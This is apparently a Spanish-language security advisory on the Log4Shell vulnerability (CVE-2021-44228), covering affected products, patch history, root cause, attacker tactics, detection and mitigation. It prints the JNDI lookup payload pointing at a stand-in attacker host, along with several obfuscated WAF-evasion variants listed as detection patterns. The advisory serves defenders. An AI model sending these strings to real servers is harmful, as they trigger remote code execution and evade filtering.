Vulnerabilidad CVE-2021-44228
Vulnerabilidad CVE-2021-44228
Escrito por: Monica Burgess
Publicado: 7/11/2025
¿Qué es la vulnerabilidad CVE-2021-44228?
Una vulnerabilidad crítica de ejecución remota de código (RCE) en Apache Log4j 2, una popular librería de registro de Java. Apodada Log4Shell, permite a un atacante ejecutar código arbitrario en un servidor al enviar un mensaje de registro especialmente diseñado. Es una de las vulnerabilidades más graves jamás descubiertas, con una puntuación CVSS de 10.0 sobre 10.0.
¿Cuándo se descubrió?
La vulnerabilidad CVE-2021-44228 se reveló públicamente el 9 de diciembre de 2021. Originalmente fue descubierta por Chen Zhaojun, del equipo de seguridad de Alibaba Cloud, y reportada a Apache el 24 de noviembre de 2021. La divulgación pública desató una carrera masiva a nivel mundial, ya que las organizaciones se apresuraron a entender su exposición y aplicar los parches.
Productos y versiones afectados
Log4Shell afectó a una enorme cantidad de software y servicios que usaban la biblioteca Apache Log4j 2. El alcance fue tan amplio porque Log4j es un componente fundamental en incontables aplicaciones basadas en Java, desde software empresarial hasta servicios cloud.
|
Producto/Biblioteca |
Versiones afectadas |
Versiones corregidas / Enlaces de parches |
|
Apache Log4j 2 |
2.0-beta9 hasta 2.14.1 |
2.17.1 (Java 8+), 2.12.4 (Java 7), 2.3.2 (Java 6) |
|
Apache Struts 2 |
2.5 - 2.5.29 (versiones que incluyen Log4j 2 anterior a 2.17.1) |
2.5.30+ (las actualizaciones incluyen Log4j); ramas más antiguas: actualiza Log4j directamente |
|
Apache Solr |
8.11.0 y versiones anteriores |
8.11.1 |
|
Apache Druid |
0.22.0 y versiones anteriores |
0.22.1 |
|
VMware vCenter |
6.5, 6.7, 7.0 |
Versiones parcheadas y soluciones alternativas |
|
Minecraft: Java Edition |
Todas las versiones de 1.7 a 1.18 |
1.18.1 y posteriores |
Importante: el parcheo de Log4Shell requiere la versión 2.17.1, no la 2.15.0: El historial de parches de CVE-2021-44228 incluyó cuatro lanzamientos sucesivos, cada uno abordando una nueva vulnerabilidad relacionada. Parchear solo hasta la 2.15.0 no es suficiente:
- 2.15.0 (10 de dic. de 2021): Mitigó parcialmente CVE-2021-44228, pero dejó abierto CVE-2021-45046 (RCE en ciertas configuraciones no predeterminadas)
- 2.16.0 (14 de dic. de 2021): Corrigió CVE-2021-45046, desactivó JNDI de forma predeterminada, pero introdujo CVE-2021-45105 (denegación de servicio por recursión no controlada)
- 2.17.0 (18 de dic. de 2021): Corrigió CVE-2021-45105, pero dejó abierto CVE-2021-44832 (RCE mediante configuración maliciosa del Appender JDBC)
- 2.17.1 (4 de ene. de 2022): Totalmente corregido. Esta es la versión mínima segura para entornos con Java 8+
Descripción técnica de CVE-2021-44228
La causa raíz de la vulnerabilidad CVE-2021-44228 está en cómo Log4j procesa los mensajes de registro. La biblioteca soportaba una función llamada "sustitución de búsqueda de mensajes", que permitía reemplazar ciertas cadenas en los registros por valores generados dinámicamente. Uno de estos métodos de búsqueda era Java Naming and Directory Interface (JNDI).
Los atacantes descubrieron que podían crear una cadena maliciosa, como ${jndi:ldap://attacker.com/a}, y lograr que una aplicación vulnerable la registrara. Cuando Log4j procesaba este registro, interpretaba la búsqueda JNDI, se conectaba al servidor LDAP controlado por el atacante y descargaba y ejecutaba una clase Java maliciosa. Esto le da al atacante un punto de apoyo persistente para la ejecución remota de código. Como las aplicaciones registran todo tipo de datos proporcionados por el usuario (como encabezados User-Agent o envíos de formularios), crear un exploit para CVE-2021-44228 resultaba espantosamente sencillo.
Tácticas, Técnicas y Procedimientos (TTPs)
Los actores de amenazas se desataron con esto. Las TTPs iniciales implicaron un escaneo masivo para encontrar endpoints vulnerables. Una vez hallado un punto de entrada, los atacantes usaban el exploit de CVE-2021-44228 para instalar ransomware, instalar criptomineros, robar credenciales de cuentas y establecer puertas traseras persistentes para acceso posterior. Muchos actores respaldados por estados y grupos de cibercrimen integraron rápidamente Log4Shell en sus manuales de ataque, usándolo como vector de acceso inicial para campañas más amplias.
Indicadores de compromiso
Detectar un ataque de Log4Shell implica buscar patrones específicos en tus registros. Los indicadores de compromiso (IOCs) más evidentes de la vulnerabilidad CVE-2021-44228 son entradas de registro que contienen la cadena ${jndi:}, especialmente con protocolos como ldap, ldaps, o rmi. También debes monitorear conexiones de red salientes sospechosas desde tus servidores de aplicaciones hacia direcciones IP o dominios inusuales, ya que esto podría indicar una devolución de llamada JNDI exitosa.
Variantes de ofuscación para detectar: Los atacantes desarrollaron rápidamente cadenas JNDI ofuscadas para evadir reglas de WAF y la coincidencia de cadenas basada en registros. Tus reglas de detección deben considerar los siguientes patrones además de la cadena básica ${jndi:}:
${${lower:j}ndi:ldap://attacker.com/a}— evasión de búsqueda en minúsculas${${upper:j}ndi:ldap://attacker.com/a}— variante en mayúsculas${j${::-n}di:ldap://attacker.com/a}— evasión por sustitución parcial${jndi:${lower:l}${lower:d}a${lower:p}://attacker.com/a}— ofuscación de protocolo
${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.com/a} — evasión por sustitución anidada
Las reglas de detección que solo coincidan con la cadena literal ${jndi:ldap no detectarán estas variantes. Usa coincidencia de patrones más amplia sobre jndi combinada con cualquier indicador de protocolo URI, o implementa firmas de detección de Log4Shell diseñadas específicamente a partir del aviso de CISA (AA21-356A).
Pruebas de concepto y exploits conocidos
A pocas horas de la divulgación, múltiples exploits de prueba de concepto (PoC) para CVE-2021-44228 estaban disponibles públicamente en plataformas como GitHub. Esto redujo drásticamente la barrera de entrada, permitiendo que incluso atacantes menos hábiles aprovecharan la falla. La alta explotabilidad llevó a campañas de explotación masiva por parte de botnets como Mirai y Kinsing, que usaron Log4Shell para propagarse e instalar malware. Los investigadores de seguridad también desarrollaron PoCs para ayudar a los defensores a probar sus propios sistemas en busca de vulnerabilidades.
Cómo detectar la vulnerabilidad CVE-2021-44228
La detección de la vulnerabilidad CVE-2021-44228 requiere un enfoque de múltiples capas. Comienza escaneando tu entorno en busca de aplicaciones que usen versiones vulnerables de la biblioteca Log4j 2. Las herramientas de detección basadas en endpoints pueden identificar la presencia de estas bibliotecas en disco. Para amenazas activas, tu sistema de gestión de eventos e información de seguridad (SIEM) es clave. Ingresa los registros del servidor web, los registros de aplicaciones y los registros del firewall, y crea reglas para alertar sobre cadenas como ${jndi:} o sobre conexiones salientes desde servidores de aplicaciones mediante protocolos como LDAP o RMI. Las consultas de muestra podrían buscar *jndi:ldap* o *jndi:rmi* en campos de solicitudes HTTP. Una solución robusta de Detección y respuesta para endpoints (EDR) también puede ayudar a detectar la actividad posterior a la explotación.
Impacto y riesgo de la vulnerabilidad CVE-2021-44228
El impacto de Log4Shell fue catastrófico. Su simplicidad y el uso generalizado de Log4j significaron que millones de servidores quedaron en riesgo de inmediato. Un exploit exitoso le otorga al atacante control total sobre el sistema afectado, comprometiendo la confidencialidad, integridad y disponibilidad de los datos. Los atacantes podían robar datos sensibles, implementar ransomware para cifrar redes enteras, o usar el servidor comprometido como punto de apoyo para adentrarse más en una red corporativa. El riesgo para el negocio era inmenso, lo que provocaba tiempo de inactividad del servicio, costosos esfuerzos de respuesta a incidentes y un daño reputacional grave.
Estrategias de mitigación y remediación
La mitigación principal de la vulnerabilidad CVE-2021-44228 es aplicar parches a los sistemas afectados de inmediato. Actualiza cualquier instancia de Apache Log4j a la versión 2.17.1 o más reciente — esta es la versión mínima segura para entornos de Java 8+ y corrige por completo todas las vulnerabilidades conocidas de la familia Log4Shell.
⚠️ Importante: aplicar el parche hasta la versión 2.15.0 no es suficiente. La solución para Log4Shell requirió cuatro lanzamientos sucesivos, cada uno abordando una nueva vulnerabilidad relacionada:
- 2.15.0 (10 de dic. de 2021) — Mitigó parcialmente la CVE-2021-44228, pero seguía siendo vulnerable en ciertas configuraciones no predeterminadas (CVE-2021-45046)
- 2.16.0 (14 de dic. de 2021) — Corrigió la CVE-2021-45046 y deshabilitó JNDI de forma predeterminada, pero introdujo una vulnerabilidad de denegación de servicio (CVE-2021-45105)
- 2.17.0 (18 de dic. de 2021) — Corrigió la CVE-2021-45105, pero dejó abierta una vulnerabilidad de ejecución remota de código basada en configuración (CVE-2021-44832)
- 2.17.1 (4 de ene. de 2022) — Totalmente corregida. Esta es la versión a la que debes apuntar.
Para entornos de Java 7, usa 2.12.4. Para Java 6, usa 2.3.2.
Si no puedes aplicar el parche de inmediato, existen algunas soluciones temporales:
- Configura la propiedad del sistema de Log4j
log4j2.formatMsgNoLookupsentrue. Nota: esto solo mitiga la CVE-2021-44228 y no aborda la CVE-2021-45046. - Elimina la clase JndiLookup del classpath de Log4j:
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class - Implementa reglas de WAF que bloqueen las cadenas
${jndi:en encabezados HTTP, parámetros de URI y cuerpos POST. - Aplica filtrado de salida para bloquear el tráfico saliente de LDAP (puerto 389/636) y RMI (puerto 1099) desde los servidores de aplicaciones — esto evita la devolución de llamada de JNDI incluso si una cadena de exploit llega al logger.
Sin embargo, estas son medidas provisionales. La única solución real a largo plazo es aplicar el parche de la CVE-2021-44228 y actualizar a la versión 2.17.1 o más reciente. Una estrategia sólida de defensa en profundidad, que incluya segmentación de redes y filtrado de salida, también puede limitar el alcance del daño si llega a ocurrir un exploit.
Preguntas frecuentes sobre la vulnerabilidad CVE-2021-44228